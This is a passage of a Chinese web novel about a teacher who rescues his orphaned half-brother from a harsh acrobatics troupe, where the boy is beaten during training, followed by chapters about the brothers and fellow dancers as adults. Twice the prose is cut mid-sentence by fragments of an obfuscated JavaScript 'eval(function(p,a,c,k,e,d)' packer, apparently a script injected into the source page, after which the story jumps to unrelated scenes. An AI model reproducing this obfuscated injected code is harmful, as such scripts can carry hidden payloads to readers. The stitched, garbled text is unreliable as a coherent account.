容慧一时没有说话。孔越林张了张嘴,也没再说什么。他没法说。这天下没有比容慧更好的妻子了,他们俩自由恋爱,情投意合,从恋爱到结婚,一切都顺理成章。容慧温柔又善解人意,结婚才三年的光景,生了孩子,照顾病中的父亲,产假休了三个月就想回去上班。他好说歹说拉回来,让她足足休了一年。如今父亲刚走,儿子还小,他就要再带个孩子回来养,他自己也觉得是在为难人…… 就是容慧不同意,他也能理解。 可容慧不是这样的人。沉默了片刻,她笃定地咬着嘴唇。 “是你半个弟弟,也是我半个弟弟。我们两个都挣工资,再养个孩子——也有能力。” 孔越林眼眶有点发热,“可你知道的,这不是一天两天的事儿。真接回来了,就是我们老孔家的人,要和我们一起生活,如果他——” “如果他不学好,我们就教好他,他要是个白眼狼,我们就请他走。可不管怎么说,现在他一个孩子孤零零在外面,我们知道了,就不能不管。” 容慧抬眼看向孔越林,丈夫想说什么,她怎么会不知道。 孔越林怔了怔,终于忍不住,连大的带小的一起揽在怀里。他垂头亲了亲妻子发鬂,心下感动,却又觉得千言万语她都懂。“就是不知道能不能找到,肯不肯回来。一年多了,老爷子啊 ……哎……竟然就这么生生捂下了。” 父辈的事,容不得他们评断。容慧与他顶着头靠着,“尽力而为吧。” 尽力而为。 第二天一早,孔越林就照着给的地址回了信,说是邻居家的,不知道能不能等到回复。在家等了三天,还是觉得不妥,孔越林和容慧商量完,便跟学校请了假,直接奔着贵州去了。 他第一次下南方,地址上又是个小地方,辗转周折总算找到了,敲了半天门却是没人应。厚着脸皮敲了邻居的门,才听说这一家出门了,过两天就回来。孔越林就近找了个招待所住下,等了两天,便每天来敲一次门。敲了三天终于守到人回来,才知道这一家才搬来半年,上一任的房主,不知道去哪儿了。 苦守了好几天的线索就这么断了,孔越林在招待所里琢磨了半宿,终于想起来有个发小的媳妇儿是派出所的文职。可查户籍,哪是那么容易的事儿,又是千里之外的云贵。孔越林长这么大没怎么麻烦过别人,这次却是人情搭了一火车。七拐八歪,总算是绕到这边的总局,同意给查,他才又心怀惴惴地去了。 母亲的户籍没跟过来,地址还留的老家。只能照着邻居的旧地址查,要费不少功夫。孔越林千恩万谢地偷偷递上两条烟,回招待所等着。下午终于等来了电话,拿到新地址又直奔隔壁的城市去了。 再次唐突地敲了门,总算找对了人。母亲当年的邻居是对年近五十的夫妇,孔越林拿出信说明来意,他们才知道陆玲竟还有个儿子。夫妇把他请进家,聊了不少。原来人家早就要搬家,是为了母亲硬推迟了半年。等了半年也没等来父亲的音讯,才不得不搬。 ———————————————— “同志,还有多久到啊?”身边的大姐扬声问售票员。售票员看了看窗外又瞧了眼表,“半个小时吧。” 孔越林从胸前的口袋里掏出张纸条,展开又看了一遍,上面写着“新乡杂技艺术团李主任”,下面是从客运总站到杂技团的路线。 孔越林盯着那几个字看了半天,终于又把纸条规规整整地折好,放回口袋里。他想起那日邻居夫妇说,“你妈妈在这儿一个亲戚朋友也没有,大家也是没办法。正巧那个杂技团来招生,我们这些人就想着,学门手艺吧,起码饿不死。” 一年了啊,也不知道那孩子怎么样。 “这是我的身份证、教师证、还有之前我母亲邻居写的推荐信,算是可以证明我的身份吧,您过目。” 孔越林坐在李主任对面,把这一干文件都推到他面前。 李主任认真看过一遍,点点头,把东西整理好交还给他。“人民教师,教书育人,错不了。其实之前你打电话过来,我差不多就信了。这世道,大人值钱孩子不值钱,能这么千方百计来找孩子的,八成都是真的。”李主任看着四十岁上下,浓眉国字脸,是个实在人。 孔越林苦笑着摇摇头,这一路从首都到贵州又回河南,确实是跋山涉水。“早前不知道他流落到哪里了,特别着急上火。后来听说是在这儿,我心里反而放下一点。” 李主任跟着点点头,忍不住叹口气,“命挺苦的这孩子。当初我们到南方招生,他们好几个大人拿着钱就来了。仔细问了才知道都是邻居,说孩子妈刚去世了,就剩他自己,担心他以后没办法生活,才想着早点出来学本事。也是大伙心善,凑了两年的学费给他,他妈妈给他留下存折里的钱,一分没动。” “两年?” “是。”李主任耐心解释,“我们团的演员呢,都是自己培养自己用。对外是杂技团和附属杂技学校两个机构,其实呢就是教练每天带着练,等学的差不多了,就逐渐上台。不过我们也安排文化课的哈。” 生怕这位首都来的人民教师误会,李主任忙不迭地加了一句。 “学制是五年制,学费只收两年,说白了就是保个吃住的本。到后面渐渐能表演了,就相当于演出抵了学费了。毕竟能送孩子来学这个的,家里都不宽裕,多了也拿不出来。等五年一毕业,正式成为团员,就有工资了,演出费另有加成。” 李主任不愧是年年去招生,随口一问,便洋洋洒洒说了一大段。孔越林点点头,算是听明白了。“如果,我想替他办理退学,需要什么手续吗?” “嗯…” 李主任沉思了片刻,“照理说是不需要什么的,不学就不学了嘛。但学费…” “学费不要也可以。” 孔越林及时说到。 李主任摆摆手,“别误会,我不是这个意思。学费本来也可以一年一交的,这孩子情况特殊才一次都收了。政策上虽说是不退,但这钱是大伙给孩子的爱心钱,我和团长商量商量。关键是,这孩子愿不愿意跟你走,他教练放不放人……” 孔越林一怔,方才微微前倾的身体又缓缓坐了回来。他折腾了七八天,一得到消息就立刻冲了过来,险些忘了最开始担心的问题:这孩子,真的愿意跟他走吗? “这个事,我还没有和他说。想等着验证你的身份后你自己和他说。等会儿午休我把他叫过来,你们好好聊聊。你先坐着歇会儿。” 李主任起身给他倒了杯水,孔越林握在手里,心中不免忐忑。来的这一路他一直在想,这孩子现在什么样,有多高了,会不会太瘦?长得像母亲吗,吃饱穿暖吗?这一年多是怎么过的? 明明是没见过面的弟弟,可一想到身体里淌着是一样的血,他心里就揪着难受。“我现在能去看看他吗?” 李主任顿了顿,“学校是有严格规定上课期间不许家长参观的。” 可……看着眼前这还不到三十岁的年轻人满眼希冀,李主任忍不住叹口气,“破例带你去看看吧,保持安静,不能打扰上课。“ 杂技团一概办公事宜都在旁边的小矮楼,教学和排练在后面四层高的大楼。孔越林跟着李主任走出办公室,忍不住问,“您能跟我说说他吗?” “他啊…” 李主任边走边回忆,“性格特别顽强一孩子。家里已经没人了,邻居毕竟不能天天照顾,所以招生结束直接就让我们给带回来了。遭遇这么大事,可自从来这儿,我就没见过他掉眼泪。 人生地不熟地给扔到这个地方,有大孩子欺负他,他愣是不服软,一个打人家四个。一个都打不过,还打四个…挨揍挨得鼻青脸肿,可他也硬是拽住一个往死里打。他心里啊,也是有股狠劲儿。我们都叫他小豹子。” 小豹子……孔越林默默念叨着,一时没有做声。他似乎能想象出瘦弱的孩子红着眼跟人拼命的画面,心里越发不是滋味。“他……喜欢练杂技吗?” “喜欢?”李主任似是听了件有趣儿的事,笑着摇摇头,“一会儿你问问孩子们,有几个喜欢的?三百六十行,属这一行苦。但凡家里揭得开锅的,都不舍得孩子练这个。要么你以为为什么上课不许家长看,怕你们看了就要领走。” “那——” “这小豹子刚来的时候也不爱练。怎么办?我说这话你别心疼,打着练,挨打就知道练了。等你肯练了又怎么样?一样要挨打。没办法,这一行就是打出来的。” 孔越林走在身侧沉默地点点头,只觉得眼前的大门突然如龙潭虎穴般,让他有些不敢上前。 走廊里比他想象中的吵闹。每间排练厅都很大,一前一后两扇对开的大门。门上有小窗,墙壁上沿也是一排玻璃。孔越林抬头望进去,能看见棚顶吊着的圆环和彩绸,时不时地还有个小姑娘飞上来,走廊里,满是“砰砰”的声音。 李主任带着他走到走廊尽头的一间,站在教室门口朝里看了一会儿。似是没看到人,他不禁推开门问,“小张啊,小豹子呢?怎么不在?” 小张看着是个十八九岁的小伙子,正教几个男孩子扔球。看见李主任,便停下动作,把空中飞着的四个球都一一接到手里,帅气地扔进篓子里,迎了上来。 “他啊,让陈教练带楼上小屋去了。” 李主任皱皱眉,“又犯倔了?” 小张为难地咧着嘴,“也不算,陈教练想让他练柔术,他有点不愿意……这几天一直带楼上单练来着,都一个礼拜了。您不知道吗?” “我上哪儿知道去!” 李主任眉头皱得更甚了,“行了,你们接着练。” 带上门,李主任忍不住回身看了眼孔越林。“走吧,上楼。” 他知道这当哥哥的要是看完,绑也要把孩子绑回去了。 三、归家 小房间不大,二十平的样子。窗帘拉的密实,可今天阳光好,倒不觉得太暗。 房间地上坐了个八九岁的男孩,两条腿直直横着劈开,脚腕绑在身后的板凳上,凳面跟小孩屁股间塞了厚厚一块泡沫。男孩双手撑着地,深埋着头,能看出来止不住的颤抖。 “这——这是在干什么?!“ 孔越林惊愕地回过头,不可置信地看着李主任。李主任早料到他的反应,平静地挑挑下巴,“练功。” “练……” 他当然知道是练功,孔越林拧紧了眉头,气血止不住地往上涌。千言万语冲到喉咙口,可看着李主任那副了然的样子,却半个字也说不出来。这哪里是练功,这分明…… 他忍不住又看向屋里。 陈教练拎着根竹条站在男孩身侧,抬手用竹条捅了捅他肩头。“手。” 房间隔音一般,人在门外隐隐约约能听清。陈教练扬手就是一下,孩子给抽的一哆嗦。露在小背心外面的肩背上,眼看着显出一小段红印。 “手往哪儿放!” 陈教练声如洪钟,语气严厉,听着门外的人心里也一阵发紧。男孩肩膀耸了耸,似是抽噎了下,十指抠着地,想动却不敢动。陈教练不惯他毛病,上前踢了踢他脚心,男孩下意识地勾起脚背。陈教练便搭着他脚内侧,落力朝反方向踩了过去。 “啊……” 男孩终于忍不住呜咽了一声,疼得直弓起身子。一手扶上自己膝盖内侧,将腿抓出道道血痕来。这法子对男孩似乎极为奏效,陈教练不松脚,他抓着腿的手便一点点往后够,摸到了板凳沿,才牢牢抓住。男孩缓了一会儿,似是下了好大的决心,撑着地面的手臂用力一推,终于悠到身后,也死死扒住了凳沿。 陈教练抬起竹条,怼了怼他脊背。男孩不情愿地摇摇头,似是说什么也不敢再动作。陈教练从他身后绕过去,一脚不客气地踩上他另一侧,竹条在凳子上敲得砰砰响,“你什么时候做标准了,我什么时候开始掐表。看咱俩谁耗得过谁。” 伴随着又一声藏在喉咙里的抽泣,男孩咬着牙仰起头,把胸、腰、和胯都远远地送出去。从脖颈到尾椎,隐隐撑出一条柔美的弧线。可也只这一下,本就抻的不能再抻的双腿似是被撕裂开。男孩疼的呜呜直哭,人抖成了筛子却不敢松手。任由着眼泪顺着眼角往头发里流,像是被钉在架子上的标本。 孔越林这才看清那张小脸,因疼痛憋的通红。可仔细打量着,鼻子英挺和嘴唇线分明,与照片上的母亲如出一辙,与自己……也好像有几分相似。孔越林颤抖着呼出一口气,转身靠在墙壁上,不忍再看。要是能早些找到他,就好了。 走回李主任办公室的路上,孔越林脚步不免有些沉重。他脑子里不停闪过方才的画面,心口被无力和自责撕扯地难受。唯一庆幸的是,这么苦,弟弟一定肯跟他回去的吧。 回到办公室,李主任重新给孔越林续了杯热水,坐在沙发上同他聊天。他知道孔越林想多听听弟弟的事儿,可他只怕说的越多,这当哥哥的越心疼。 “小豹子刚来那几周,陈教练和小张就跟我说,这孩子啊,太叫人心酸了。” 孔越林指尖颤了颤,不禁偏过头,好奇地抬起眉眼。李主任叹口气,“教练们之前都说,这小子,打不哭骂不哭,性子硬的什么似的,还以为他不会哭呢。可有一回,他软功不好好练,陈教练气得放学直接给绑在练功房里,晚饭都没给吃。等到天黑去看,才见他抱着腿,自己在黑黢黢的屋里,哭的上气不接下气。” 李主任握着茶杯的手,也紧了紧。 “我们在杂技团里打滚了这么些年,看惯了孩子哭,不怎么当回事儿。可那一场,是人就看着就心有不忍。后来我们才想明白,他小小年纪,只有一个母亲去世了,怎么可能扛得住。这孩子啊,是想哭不愿哭,忍了又忍,才在没人的时候借着那疼劲儿,一股脑地都哭出来了。” 孔越林静静听着,李主任每说一句,他心里就好像挨了一刀。 “后来教练们心疼他。尤其是陈教练那个人,凶得像个活阎王,可练功的时候只要他用心,哭两声,就不计较了……” 一个小时的功夫,多半是李主任在说,孔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孔越林捏捏鼻梁,起身到茶桌旁的椅子坐了,朝陆海言挥挥手。“来,坐,你怎么也没睡?” 陆海言没答话,看着大哥一手撑着膝盖,一手摆弄着茶碗似是要泡茶,不禁缓缓上前几步,一矮身,在他身前跪下了。 “欸?你这是干什么!”孔越林一惊,拉着他手臂叫他起来。陆海言摇摇头,不动,牙尖在嘴里碾磨了片刻,低声道,“对不起,大哥。” 孔越林一愣,佯怒甩开他手臂,“快起来!这么大人了,害不害臊。” “这么大人了也不懂事,还说什么害臊啊。” 陆海言扯扯嘴角,似是想像少年时说两句俏皮话,心头却还是不免沉重。 孔越林拿他没办法,抬手朝宽大的书桌指了指,“看见我那对儿镇尺没?上好的紫檀木,你想挨啊,还够不上格。” “鸡毛掸子我能够上,客厅花瓶里就有一根。要么——”话说一半,陆海言忽然想起来什么似的,起身跑到书架旁,拨开最下层厚重的辞海和四库全书,伸手进去翻找。他侧着身子歪着脖子摸了几下,忽然眉毛一挑,从里面拽出根深棕色的戒尺来。 他忍不住盯着笑了笑,把书都整整齐齐推回去,拿着本就光洁的戒尺在胳膊下撸了把灰,又跪回孔越林跟前,把东西放在他茶桌上,“没想到这么多年,您还是没找着。” 孔越林盯着眼前那把戒尺,又气又想笑。孔爵当年因为把它藏起来,挨了自己一顿好打。可那小子嘴硬,打都挨了,就更不能说了。没想到他这个当小叔叔的,明明知道也不吭声,倒真是“叔侄情深”。 “行了!” 孔越林拎起戒尺扔进他怀里,“一走那么多年,以为挨顿打就能赎罪了?想得美。起来!这个‘罪’你慢慢赎。” 大哥这一句一半玩笑一半认真,陆海言心里发涩,知道不起来是不行了。 “大哥刚才在看什么?”陆海言没坐在椅子上,搬了个小马扎坐在茶桌边。矮上一截挨着大哥坐的感觉,让他说不出的安心。孔越林朝那边撇撇头,“你自己去看看。” 陆海言迟疑地走过去,却原来是老相册。他不禁回头看了眼大哥,翻开第一页,是张有些泛黄的旧照片。他心里一软,喉咙有些微微梗住——是大哥接他回来的那天,他,陈教练,李主任,还有大哥,在杂技团门口的合影。 “你那时不肯跟我回来,我吓坏了。”坐在茶桌旁的大哥笑着说,语气里带着多年后的释然。陆海言微微一怔,继而嘴角弯出一丝弧度,指尖轻轻摩挲着照片上他们几个人身后,大门上的“新乡杂技艺术团”几个字。 那天,大哥拉着他的手,轻声问,“跟大哥回家,好吗?”他记得自己木然地看着眼前自称是自己哥哥的男人,抽回手,抿着嘴角摇了摇头。 “哥哥”似是有一瞬的惊讶,他微微笑着,安抚地捏着他肩膀,“为什么呢,能跟我说说吗?” 他低着头,不作声。于是“哥哥”拉着他走到沙发旁,从兜里掏出封信,“我真的是你哥哥,李主任可以作证。还有这封信,是妈妈写给我的。对不起……因为一些特殊的原因,我也是最近才看到……才迟了这么久来接你。” 他的眼神闪了闪,信封上的邮票,是他一年级语文听写一百分的奖励。他记得妈妈寄出过这样一封信,却从不知这封信寄去哪里,妈妈也没有跟他说过内容,但那邮票,他认得。 眼前的大哥哥,还在柔声劝着。 “我在首都的一所高中当老师。我已经结婚了,所以你有嫂子,还有个一岁多的小侄子。大哥会对你好,我们一家四口,一起生活,好吗?” “你年纪还小,不能——呃……不适合自己生活,身边要有大人照顾。你跟我回首都上学,让我和你嫂子照顾你,嗯?” 陆海言低下头,刘海遮在眼前,什么也看不清。这一年来,他也是自己生活的,没人照顾。 “我喜欢练杂技,不走。”他突然打断大哥哥,说了进屋来的第一句话。大哥哥愣了愣,一时没反应过来,满脸写着震惊。他把自己拉到身前,手指划过他胳膊上的一条檩子,他有些疼地缩了缩手臂。大哥哥立刻松了手,“这么辛苦,也喜欢?你不是不喜欢练柔术,我刚才都看到了,疼不疼?” 他的头埋得更低了,嘴唇咬的更紧。连声音也有些塞住,却只是固执地说,“喜欢。不疼。” 那一天下午,他还是回去练功了。满脑子都是大哥哥失望地神情,还有自己背过身疾步走出办公室的样子。他怎么不想跟大哥哥回去呢?他当然想。大哥哥长的斯文又温柔,特别像爸爸。他会握着自己手臂问疼不疼,他会心疼地打量自己腿上的伤;他会柔声说,杂技太苦啦,我们回去上学好不好…… 这一天晚功,靠在墙边,腿照例被陈教练绑在了肋木上的他又哭了。他怎么会喜欢杂技呢,一点都不喜欢。练杂技要挨打、要挨罚,要练毯子功、要拿大顶、要劈叉,他一样都不喜欢。一个礼拜前,他好不容易学会了扔三个球,陈教练却说要叫他去练柔术。说现在还没有男柔,他条件好,练出来就能拿奖。他知道柔术是怎么回事,小姑娘们练功时的哭声又尖又吓人,他是听过无数次的。 可他也没有别的办法。妈妈去世后不久的那一晚,以为他睡着了的邻居们在客厅里商讨。这孩子年纪还小,怎么办?谁也没法带走照顾,难不成送去孤儿院?有人提议,北方有个小有名气的杂技团来招生,大家讨论之下,觉得是个合理的去处,“学门手艺吧,起码饿不死。” 后来他知道了,只要学两年,就能出去工作,就能有工资拿,他不用成为别人的累赘,确实是个好去处。他就合该留在这里。 大哥哥虽然人看着好,可如果总是白养他一个,吃家里的饭,却不能赚钱,会不会有一天,他会嫌弃自己这个累赘? “我那会儿实在没办法。下午回了招待所就给你嫂子打长途电话,让她帮着查查首都有什么杂技团艺术团。后来又去找你,磨穿了嘴皮子答应你回首都就让你去学跳舞你才松口。你怎么就那么喜欢?” 大哥凑到书桌旁跟他一起看旧照片,说到最后一句,忍不住弹了下他脑壳。陆海言笑着躲了躲,捻起页角,又翻了一页。 第二天,李主任又把他叫去办公室。大哥哥还在,只是眼下泛着些青色,不如昨天看着精神。他说话的时候,依旧喜欢蹲下来,和自己一边高。可张张嘴,却有些底气不足。“昨天我和你嫂子查了很久,咱们首都,确实没有杂技团。可是歌舞团有好几个,还有舞蹈学校,你喜欢的话,就送你去学?不喜欢的话,我们再找找其他的。” 大哥哥认认真真地看着自己,眼神里带着满满的期待。他抿紧了嘴低下头,手指在身后绞的发疼。昨天大哥哥走了,他哭了整晚睡不着觉。他多想答应啊。连李主任都说,这么好的哥哥哪里找去。人家夫妻俩都是首都的人民教师,为了你,从首都跑到贵州又跑来河南。一岁多的儿子扔在家里,出来奔波了十多天,不是真心待你,犯得着这么折腾。小小年纪,怎么这么轴。 他哪里是轴……明明是怕。 “学跳舞的话,也像杂技一样,可以很快演出,可以当团员吗?”他抬起头,小心翼翼地问。 大哥哥眼里似是闪出了火花,他尽力平静地扶着自己肩膀,声音里却带着掩不住的激动,“可以的。你可以考首都文工团,还有前进歌舞团,还有好多,你想考什么都行。可以在舞台上给老百姓们表演,还能出国给外国人表演………跟我回家,好不好?” 二十多年前他点了那一下头,大哥开心地举着他转了好几圈。 陆海言啪地一声合上相册,像是把过往的苦痛都“盖棺定论”。他有些“皮”地挑挑眉,咂了下舌,带着些许玩世不恭,“嗨,谁叫我是个文艺分子呢!” 他从未和大哥说过,当年他问的那句话,点的那下头,是因为知道,可以不用成为任何人的累赘。 “回来就好。”大哥不如从前宽厚的肩膀,朝自己展开怀抱。陆海言愣了片刻,忍不住拥抱着眼前这位在自己走投无路之时,老天赠给他的“至亲”。一如二十多前的那个午后,这个人牵着他的手走出杂技团的大门。他扬起头,看着那高大身影,仿佛一直流离在世间的这颗水草,突然有了依靠。 他小小的手捏着那宽的几乎握不住的手掌,轻轻地念, “大哥。” 68. 第63章 萧泽从街里的一家舞蹈演出服装店出来,站在门口给张凡发了个信息。“衣服试好了,还要改改尺寸。老师说你下次来拿孔爵衣服的时候可以一起取走。” 演出服装定制的裁缝师傅们经验都很老道,圈子里习惯叫声“老师”。张凡回复过来一个卡通的“ok”表情,萧泽不禁笑了,收起手机朝街口走去。 上午的最后一件事算是忙完了,便不如来时那么匆忙。这一条小街是附近有名的文艺一条街,一家挨着一家都是舞蹈用品、音乐器材之类的小店,是歌舞团的演员和艺校的学生们常光顾的地方。开学第二周了,这一路走出去,就能遇到不少学舞的孩子。 萧泽看了眼表,已经到饭点了,他却一点食欲也没有。只是下午有排练,他不敢不吃。思来想去,记起回去路上有家他喜欢的小笼包,便打定主意拐去那边坐坐。 午餐时分,店里熙熙攘攘。萧泽运气好,赶上了最后一张空桌。才落座,老板娘便认出他来,远远在柜台里冲他比了个“三”,萧泽笑着点点头,拆开了桌上的一套餐具。不多一会儿,服务员便端着他的“老三样”过来,一屉蟹粉小笼、一碗荠菜云吞、加一碟爽口的小菜。 萧泽拎起筷子,看着这从前能风卷残云般消灭的美食,却说什么也提不起胃口。手机适时地在桌面上震动起来。萧泽扫了眼熟悉的五位号码,按下接听键,彦霖的声音立刻就闯了进来,“吃饭了没呢?” “嗯,正在吃。团附近的那家功夫小笼。” 萧泽筷子尖有一下没一下地戳着小笼包顶端被捏起的揪揪,却丝毫没有夹起来送进嘴里意思。 “馋了,我也想吃。” 萧泽听着,忍不住弯起嘴角,不搭他的茬。“你呢?吃什么了?” “秘书说今天公司食堂不错,她们去买了。你上午都忙什么了?” 哪怕是多年的“老夫老妻”,难得煲起电话粥却好像与学生时代的少男少女没什么区别。萧泽也就只在彦霖面前才会数家常般一口气说这么多,“早上去群演那边帮忙看了看排练,然后去实地考察了下旧礼堂。那边搁置了好久,要找人打扫,灯光也都坏了,我去找了灯光师,看他能不能抽空,联排之前得要修好。刚才午饭前去服装老师那边试了两套演出服。” “你之前说团里排练任务重,灯光师傅都忙不过来,不然叫我们物业的电工去看看” “不用啦,舞台上面的线路和办公楼可不一样,回头我去多催几次就好了。” 彦霖没有再坚持,他早知是这个答案,只是总不免想在能力范围内多帮帮他。这一段日子,是眼见着他人越来越忙,饭越吃越少。本就瘦的人,现在更是没二两肉。他每天除了自己的排练任务,还要帮学弟妹们看着舞剧统筹,要看着承儿的训练,还要顾着晓希那边备赛……彦霖真是怕他有一天累倒了,才不得不每天一到饭点就打电话来催。 彦霖还得忙,两人没有聊太久。萧泽挂了电话,看着一桌子没动的午餐,终于不自觉地叹了口气,用汤匙托着拣起一颗小笼包来。 “您是——萧泽吧?” 这声音听着陌生,萧泽抬起头,只觉得眼前的年轻人看着眼熟。“……呃……许医生?您知道我名字?” “您竟然记得我!” 许嘉余没想到萧泽一眼就认出他来,一时激动地不行,“我……我能坐吗?这都……满了。” “当然当然。请坐。” 萧泽把碗碟往自己眼前收一收,“之前在急诊,多亏了许医生照顾。” 许嘉余连忙摆摆手,坐在他对面显得格外拘谨。“应该的应该的,都宣过誓的。哈哈……呃,其实之前我就认出您来了!只是当时属于上班时间,不太方便。您的《朔风传》首映,我去看过的。当时对您印象特别深刻。本来还想再去看一次的,可等我再有时间去看的时候,您已经不跳了。” 许嘉余坐在桌子对面,上身微微前倾着,满眼写着激动和真诚。萧泽这样与他对视,讶异之余,却又觉得有些好笑。眼前这个带着点青涩气的年轻人和当晚穿着白大褂冷脸数落彦霖的”许医生“,怎么都不像是一个人。 “谢谢你对我们舞剧的喜爱。《朔风传》现在的几位主演也是非常优秀的舞蹈演员,欢迎你继续来看。“ 许嘉余点头如捣蒜,“嗯,会的会的。会的。那……您最近有什么新作品吗?” “抱歉……舞团的排练内容对外是保密的。但是你关注我们团的官网或者剧院网站,可以看到最新的作品。再者——“ 萧泽笑了笑,”我看我们年纪差不太多,就别一口一个‘您’了,随意些。” “嗯,也是。” 萧泽这一提醒倒让许嘉余意识到自己小小的失态,正巧菜端上来,他掰开筷子刮了刮毛刺,“一起吃吧。” 萧泽点点头,重新拣起方才没来得及咬下的小笼包。鲜香的汤汁冲进嘴里,才稍稍勾起些食欲。 “你常来这边吃吗?” “嗯?” 萧泽抬起头,看着许嘉余正夹起整整一筷头面条。吃饭这么香的样子,倒是又像那天扔了病历本教孩子怎么打架的小大夫了。 “上学的时候来得多,上班了就少了。但是隔一阵就会来坐坐。” “那看来是很喜欢吃了。” “算是吧。你呢?不常在这一片吧。” 许嘉余咬断面条,捂着嘴点点头,随手抽出包里的剧场节目单朝萧泽晃了晃。 “实不相瞒,那天在医院撞到你之后我又有了看舞剧的心思,就去买了张票看。没想到又遇见你,真是不虚此行!” 萧泽笑笑继续埋头吃饭。他觉得这许医生挺有意思的,爽朗中透着点自来熟。照着大家对医生的刻板影响,觉得应该是个斯斯文文的人。只是这不穿白大褂大口吃面的样子,又很活泼。这一顿饭和他聊着,竟也吃完了一整碗云吞。 —————————— 午饭后,排练室。孔爵和陶乐钦一左一右把着房间两侧活动。 上午有排练,所以午饭是在舞团食堂一起吃的。吃好了在团里散了两圈步,就回来等着萧泽一起排三人的段落。 孔爵靠在把杆上活动脚踝,眼角偶尔向陶乐钦那边瞥上一瞥。 自从那晚带着他练功之后,这小子的别扭劲儿好了不少:有什么不懂的,终于学会大大方方来问;排练态度,也比从前“端正”了许多。短短十天,不管是技术和表达,都眼见的成熟了不少。这份天赋和努力,是旁人羡慕不来的。 孔爵倒从不怀疑他的勤奋,不是因为早有耳闻的神崎工作室,也不是因为听过、撞见过他跟自己较劲的样子。就是很浅显的道理,舞蹈这条路,你不和自己“过不去”,是到不了这个位置的。 陶乐钦这边练着功,一回身瞧见孔爵似是朝他这边望着。他不确定地又看了几眼,却只见孔爵脸上阴晴不定,不知道在想什么。 也不知道哪里又惹到他……陶乐钦扯扯嘴角懒得理,随手拽了个瑜伽垫搭在墙边的矮柜上,矮下身搭只脚上去松松腿。 胳膊肘撑在地上,胯才一放下来就酸疼得他打了个机灵。陶乐钦埋着头,忍不住闭着眼睛缓了会儿,才提溜着一口气,又小心翼翼地放回来。 开学这两周,总让他忍不住想起备赛青少年大奖赛的那段日子。不停的练习、练习、练习,生活中的每一分钟仿佛都被充斥得满满的。哪怕辛苦到一根手指都提不动,却还是忍不住地想,一天里要是再多几个小时就好了啊。 当时和学校说接这部舞剧时就答应好了的,绝不能影响上课。所以不要说是基本功、自习课,哪怕是对他来说毫无意义的思政课,他也不能翘。他知道,萧泽、孔爵还有编导们已经都在迁就他的时间了,所以不管有多少课业,他一下了课就往排练厅冲。学校的任务,便不得不留到排练后的深夜。编导系要读要费脑子的作业本来就多,常常他一看表,已经是两三点钟。 陶乐钦撑起身子换了一侧。 倒也不是觉得有多辛苦,他只是希望可以有再多一点时间,哪怕一点也好。辛苦,其实也算不得辛苦……毕竟——他心头动了动,老师偶尔会给他发微信或者打电话,问问最近怎么样,问问排练有没有什么困难。从前备赛日青赛的时候,再辛苦也没有这些…… “还有点时间,上午最后那一块,能不能再和你练练?”早些排练时,有几个小节大家都不是很满意。陶乐钦心里记挂着,不练就连别的也练不下去。孔爵瞟了眼时间,点点头,“行,来吧。” 陶乐钦后撤了两步往房间中间去,方才耗得久了,腿有点不舒服,他抿着嘴用力踢了两下。孔爵看在眼里,忍不住提醒他,“你天生骨节软,软开和力量要结合着练,不然才容易受伤。” “啊?” 见陶乐钦发愣,孔爵一双浓眉不禁皱起来,“以前的老师没提醒过你吗?” 陶乐钦声调不禁软下去些,“哦,老师以前说过的。我自己练时有时会加弹力带。” 孔爵没说什么,只是脸色这才见舒展些,指尖在空中虚虚划了个动作,“从这儿开始。” 陶乐钦不禁有半刻的走神,他想起那天孔爵让他带着负重控横叉,心底涌起一丝说不清的情绪。孔爵这个人的细心,总是在极易被忽略的地方:比如在你睡醒前拧松的瓶盖,比如第一次练习就能有“对症下药”的方法。 他从前总觉得,像孔爵啊、萧泽啊这些人,是典型的自己跳出名堂了,就要开门教学生,无非是把自己多年的经验拿出来传下去。艺术的圈子里,很吃”师承“这一套。可想来不过是叫学生们沿袭自己当年的那些老路,缺乏专业的教育背景,会跳不等于会教。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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钟彦霖微微皱起眉,将车窗按了一小截来。彦承狐疑地拎起自己衣襟闻了闻,立刻包着嘴控诉起来,“哥你嫌弃我!” 钟彦霖毫不掩饰地笑开了,腾出一只手把他对着自己猛吹的冷气调低了,“是啊,臭死了。” 哼!彦承翻了个大大的白眼,末了,却还是绷不住笑道,“其实……我也觉得有点。嘿嘿。” 钟彦霖拿他那个无赖的劲儿没办法,“这几天在外面上课怎么样?” “挺好的啊。” 彦承把椅背调低了,抱着背包靠着休息。“老师和同学们都挺好的,感觉可以稍稍猜想到以后学校的生活了。话说——!”他突然想起什么似的直起身子,“其中一个教我们的老师叫唐骁,我听说,他和晓希比赛的指导教师是男女朋友。好巧啊!可惜……“ “可惜什么?” 可惜我知道他们是一对,他们却不知道我们是一对儿! 彦承摇摇头不回答,只抿着嘴朝着窗外傻乐,只是那点掩饰不住的小得意,尽数在脸上迅速飞起的“小奶膘”上暴露了出来。 “喏,你的礼物。”钟彦霖拿这个傻小子没办法,等红灯的功夫,伸手把后座的盒子给他拿了过来。 好端端的怎么送礼物,彦承警惕地打量着哥哥,却在打开盒子的瞬间大叫出声,“啊!哥!哥啊!” 彦霖被他震的耳朵疼,无奈地摇摇头。之前承儿最喜欢的游戏发了十年典藏版加手办,这小子一直惦记着的,只是每天补课又练功没有抢得上。彦承是豁达的性子,没有也就没有了。彦霖却想着他这一段辛苦,便拜托公司里好这个的男孩子们帮忙盯着,到底帮他淘到了。 “呜呜呜哥,是亲哥!”彦承抱着盒子在副驾上哀嚎,钟彦霖也被他逗的止不住笑意。只是臭小子突然想到了什么似的,扣上了盒子,“哥为什么突然送我礼物啊,不会真的是因为叔叔婶婶要回来的事吧?” “奖励你不行吗?” “也不是不行……”彦承的情绪突然有些低下来,钟彦霖不解地看了他一眼,“怎么了?” “哎呀也不是。就是……就是之前说事成要奖励什么的,都是闹着玩的。我是真的想叔叔婶婶了,给他们说的那些话,都是真心的。不是就为了哄他们回来让萧泽哥开心的。” 彦承撕着盒子上的包装纸,声音软软糯糯的。彦霖心底有些忍不住的发酸。他自然知道叔叔婶婶在弟弟心里的重量。父母走的时候弟弟还是个奶娃娃,萧叔和婶婶是真把他们当亲生儿子养的。那时候弟弟小,哭着不睡觉,是婶婶整晚整晚地抱在身上哄过来的。三年前萧叔闹着要离开国内,婶婶最放心不下的也是承儿。 